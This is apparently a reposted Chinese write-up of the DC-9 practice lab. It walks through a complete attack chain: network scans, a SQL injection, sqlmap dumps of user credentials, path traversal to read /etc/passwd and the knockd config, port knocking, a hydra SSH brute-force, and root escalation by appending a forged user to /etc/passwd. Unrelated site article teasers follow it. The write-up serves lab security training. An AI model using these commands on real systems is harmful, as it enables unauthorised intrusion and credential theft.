DC-9靶机(端口敲门服务Knockd)

DC-9靶机地址

image-20230810194354682

信息收集

主机发现

靶机MAC:00:0C:29:5A:C1:F4

arp-scan -l

image-20230811194022808

端口扫描

nmap -A -p- 192.168.80.142

image-20230811194057787

访问80端口

image-20230811194115368

目录爆破

dirsearch -u 192.168.80.139 -i 200

image-20230811194207108

点击页面上的四个标签,发现 有个搜索 框,有个登录框

image-20230810200559430

先用bp抓个包

image-20230811194252087

image-20230811194321526

发送到Repeater,修改 参数,看页面有没有变化

当请求参数变成1' or 1=1的时候,页面发生变化,存在sql注入漏洞问题!

image-20230811194500948

漏洞利用

Request请求参数全部导入文件里,然后通过sqlmap来破解数据库

image-20230811194934323

文件名,自己随意

image-20230811194716648

然后开始爆破数据库 sqlmap通过-r参数,读取请求的数据,来爆破数据库

sqlmap -r dc9.txt -D  Staff  --tables   --batch

image-20230811194949358

发现有两个数据库Staff和users

先爆破Staff

sqlmap -r dc9.txt -D  Staff  --tables   --batch

image-20230811195050655

继续暴字段

sqlmap -r dc9.txt -D  Staff  -T Users --columns --batch

image-20230811195252359

得到用户名和密码

sqlmap -r dc9.txt -D  Staff  -T Users -C Password,Username --dump

image-20230811195442165

image-20230811195547685

其实也不是去解密网站解密,刚暴出来的用户名和密码两个字段已经把明文给出来了,密文后面跟的就是明文:transorbital1

第一个数据库知道了用户admin 密码transorbital1

然后再去暴第二个数据库users库,只有一个UserDetails

sqlmap -r dc9.txt -D users --tables --batch 

image-20230811195951499

sqlmap -r dc9.txt -D users -T UserDetails --columns --batch

image-20230811200027460

sqlmap -r dc9.txt -D users -T UserDetails -C username,password  --dump

得到需用普通用户的用户名和密码

在这里插入图片描述

可以先把这些普通用户复制到一个文件里,后面可能用得上

vim 1.txt,把账户密码复制进去

image-20230811200417365

通过awk命令过滤列,取出先要的用户和密码

awk -F'|' '{print $2}'  1.txt > user.txt
awk -F'|' '{print $3}'  1.txt > passwd.txt

过滤完发现有空格,在末行模式下输入:%s/ //g把空格替换为空,删除多余的空行就在这里插入图片描述

在这里插入图片描述

数据清洗完成后,访问web网站,点击Manage选项,登录admin用户

image-20230811201258902

image-20230811201356634

尝试是否存在文件包含漏洞

http://192.168.80.142/manage.php?file=../../../../../../../../../../../etc/passwd

image-20230811201556215

发现有很多用户

image-20230811201919112

可以尝试hydra爆破ssh端口,但是在端口扫描的时候发现ssh的服务并不是open状态,而是filtered

端口敲门服务

端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。

靶机-简单谈一下端口碰撞技术 (Port Knocking)

knock:端口敲门服务 _

靶机使用了knockd进行防护,用来隐藏ssh登陆端口

knockd 服务的默认配置路径:/etc/knockd.conf

http://192.168.80.142/manage.php?file=../../../../../../../../../../../etc/knockd.conf

image-20230811202744147

使用7469 8475 9842暗号敲门

knock 192.168.80.142  7469 8475 9842

image-20230811203339621

image-20230811203520625

关闭后也可以使用nc命令依次敲门

nc 192.168.80.142  7469
nc 192.168.80.142  8475
nc 192.168.80.142  9842

image-20230811203705583

ssh服务已经开启,使用九头蛇密码爆破

hydra -L user.txt  -P passwd.txt ssh://192.168.80.142

image-20230811203923790

ssh连接,当切换到janitor用户时,家目录有个隐藏目录

image-20230811204256261

image-20230811204405211

将密码复制到前面过滤出来的密码文件里,再次使用九头蛇爆破ssh

发现除了刚刚爆破的三个用户之外,又多了一个用户

image-20230811204645747

提权

image-20230811204800120

发现一个test路径。经过查看发现test是一个python文件,接下来使用查找命令,查看这个python文件:

image-20230811205301446

cd /opt/devstuff

image-20230811205855456


openssl passwd 手动生成密码

openssl passwd计算密码Hash

使用openssl生成一个加密的密码,由于/tmp目录可写,所以直接将伪用户输入到该目录下;

openssl passwd -1 -salt Egon Egon

$1$admin$1kgWpnZpUx.vTroWPXPIB0

然后构造成跟/etc/passwd下的一样的格式,保存在pass文件中

/etc/passwd格式:

用户名:密码hash值:uid:gid:说明:家目录:登陆后使用的shell

echo 'admin:$1$admin$1kgWpnZpUx.vTroWPXPIB0:0:0::/root:/bin/bash' > /tmp/passwd

$1$表示使用MD5算法;$2a$表示使用Blowfish算法;

$2y$是另一算法长度的Blowfish;$5$表示SHA-256算法;$6$表示SHA-512算法;

目前基本上都使用sha-512算法的,但无论是md5还是sha-256都仍然支持;

$salt$是加密时使用的salt,hashed才是真正的密码部分;

再运行刚刚发现的test.py/tmp/passwd写入到/etc/passwd

sudo /opt/devstuff/dist/test/test  /tmp/passwd /etc/passwd

使用 su命令切换刚刚创建的用户

image-20230811211247911

image-20230811211305255

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/63010.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Labview控制APx(Audio Precision)进行测试测量(五)

驱动程序 VIs如何处理配置设置中的单元 APx500 应用程序具有复杂的控件,具有以下功能: 数值和单位组合在一个控制中(例如,1.000 Vrms ) •值转换为 SI 格式(例如,1.000 mVrms 或 1.000 μVrms) •单位之间的转换发生在控制(例如,V…

IDEA 指定spring.profiles.active本地启动

spring.profiles.activedev spring.profiles.activepro

【Spring】-Spring中Bean对象的存取

作者:学Java的冬瓜 博客主页:☀冬瓜的主页🌙 专栏:【Framework】 主要内容:往spring中存储Bean对象的三大方式:XML方式(Bean标签);五大类注解;方法注解。从spring中取对象的两种方式…

深入理解PyTorch中的NoamOpt优化器

深入理解PyTorch中的NoamOpt优化器 作者:安静到无声 个人主页 今天,我们将深入探讨一个在自然语言处理领域广泛使用的优化器——NoamOpt。这个优化器是基于PyTorch实现的,并且在"Attention is All You Need"这篇论文中首次提出。…

19. python从入门到精通——Web编程

HTTP协议 HTTP协议的常用方法 方法 描述 GET 请求指定的页面信息,并返回实体主体。 POST 向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST请求可能会导致新的资源的建立和/或已有资源的修改。 …

vscode里面报:‘xxx‘ is assigned a value but never used.解决办法

const setCurPage: React.Dispatch<React.SetStateAction<number>> 已声明“setCurPage”&#xff0c;但从未读取其值。ts(6133) setCurPage is assigned a value but never used.eslinttypescript-eslint/no-unused-vars 出现这个报错是eslint导致的&#xff0…

【数学】CF1514 C

Problem - 1514C - Codeforces 题意&#xff1a; 思路&#xff1a; Code&#xff1a; #include <bits/stdc.h>using i64 long long;constexpr int N 2e5 10; constexpr int M 2e5 10; constexpr int mod 998244353;void solve() {int n;std::cin >> n;std:…

LeetCode_03Java_1572. 矩阵对角线元素的和

给你一个正方形矩阵 mat&#xff0c;请你返回矩阵对角线元素的和。 请你返回在矩阵主对角线上的元素和副对角线上且不在主对角线上元素的和。 输入&#xff1a;mat [[1,2,3],[4,5,6],[7,8,9]] 输出&#xff1a;25 解释&#xff1a;对角线的和为&#xff1a;1 5 9 3 7 2…

接口防护电路

一、接口电路是电路中与用户或者外界媒介进行交互的部分&#xff0c;是内部核心敏感电路和外部设备进行信息交互的桥梁。接口电路一般分为输入接口电路和输出接口电路两种。接口电路的防护设计就是为了隔离外部危险的信号&#xff0c;防止外部干扰信息进入系统内部核心敏感电路…

原型和原型链理解

这个图大概能概括原型和原型链的关系 1.对象都是通过 _proto_ 访问原型 2.原型都是通过constructor 访问构造函数 3.原型是构造函数的 prototype 4.原型也是对象实例 也是通过 _proto_ 访问原型(Object.prototype) 5.Object.prototype的原型通过 _proto_ 访问 为null 那么…

Android系统组件——AMS,App启动中的AMS流程

AMS&#xff08;Activity Manager Service&#xff09;是Android系统中非常重要的一个组件&#xff0c;负责管理应用程序的生命周期、进程调度以及任务栈的管理等任务。本文将从AMS的原理、数据结构、SystemServer加载AMS以及App启动中的AMS流程等方面进行详细介绍&#xff0c;…

Kubernetes(K8s)入门

一、Kubernetes是什么 Kubernetes是什么? 首先&#xff0c;它是一个全新的基于容器技术的分布式架构领先方案。这个方案虽然还很新&#xff0c;但它是谷歌十几年以来大规模应用容器技术的经验积累和升华的一个重要成果。确切地说&#xff0c;Kubernetes是谷歌严格保密十几年的…